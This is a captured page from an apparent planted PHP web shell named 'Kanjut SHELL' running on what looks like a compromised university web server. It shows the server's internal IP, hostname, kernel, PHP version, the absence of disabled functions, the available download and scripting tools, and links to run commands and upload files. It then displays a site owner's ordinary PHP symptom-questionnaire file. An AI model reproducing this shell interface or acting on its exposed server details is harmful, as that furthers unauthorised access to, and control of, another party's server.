Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.192.2
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jtbegley/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jtbegley/www/multisymptom3.php
<?php session_start(); ?>
<BODY
background="http://www.wallsave.com/wallpapers/1920x1080/zen-garden/212876/zen-garden-p-hd-taringa-x-picture-212876.jpg">
<font face=Helvetica>
<CENTER>
<H2>How bad do your symptoms hurt?</H2><HR>
</CENTER>
<Form action=diagnosis.php method=post>

<?php
	// the categories
	$value = $_POST['value'];
	$_SESSION['value'] = $value;
	// index of symptoms
        $index = $_SESSION['index'];

	// descriptors
        $menu1 = array('Frontal Headache', 'Back of the Head', 'Side of
the Head', 'Top of the Head', 'Pain in the eye', 'Jaw', 'Toothache', 
'Ear', 'Neck', 'Shoulder',
'Wrist', 'Hand', 'Backache', 'Hip', 'Knee', 'Ankle', 'Foot', 'Sore 
throat', 'Sinusitis', 'Loss of Voice',
'Earaches', 'Allergy', 'Anxiety attacks and Nervousness', 'Depression', 
'Insomnia', 'Fainting', 'Hiccoughs', 'Memory and Concentration issues', 
'Angina', 'Palpitations',
'High Blood Pressure Treatments', 'Constipation', 'Diarrhea', 'Heartburn',
'Stomachache', 'PMS and painful periods', 'Hot Flashes', 'Acupressure 
during Pregnancy', 'Bed Wetting',
'Incontinence', 'Urinary Retention', 'Weight Loss', 'Nose Bleeding', 
'Allergy', 'Itching', 'Asthma', 'Decreased Libido', 'Hangover Treatment');
	$_SESSION['menu1'] = $menu1;

        //print_r($_POST['symptom']);           acts as a debug to print values in $index

	if($value==0)
         	echo "Please go back <A HREF=multisymptom2.php> and select
your symptom.</A><br>";
	else
	{	echo "<BR>Your specific symptom(s) are: <p>";
	        $i=0;
		foreach ($value as $item)
		{
			$cond = "$menu1[$item]"; $sym[$i]=$cond; $i++;
			echo "<b>$cond </b><br>";
		}
		echo "<hr>";
		echo "Now select how symptoms hurt, on a scale from
0%(no pain) --> 100%(great pain):<br>";
		foreach ($value as $item)
                {
                        $cond = "$menu1[$item]"; $sym[$i]=$cond; $i++;
                        echo "<br><b>$cond </b><br>";

?>
<select name=limit[]>
<?php
	for($i=0; $i<11; $i++)
	{	$j = $i * 10;
		print "<option>$j%</option>";
	}
	echo "<P>";
?>
</select>
<?php
		}
?>

<P>
<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>
<?php
	}
?>
<HR>
</FORM>
</BODY>

Stv3n404 - 2023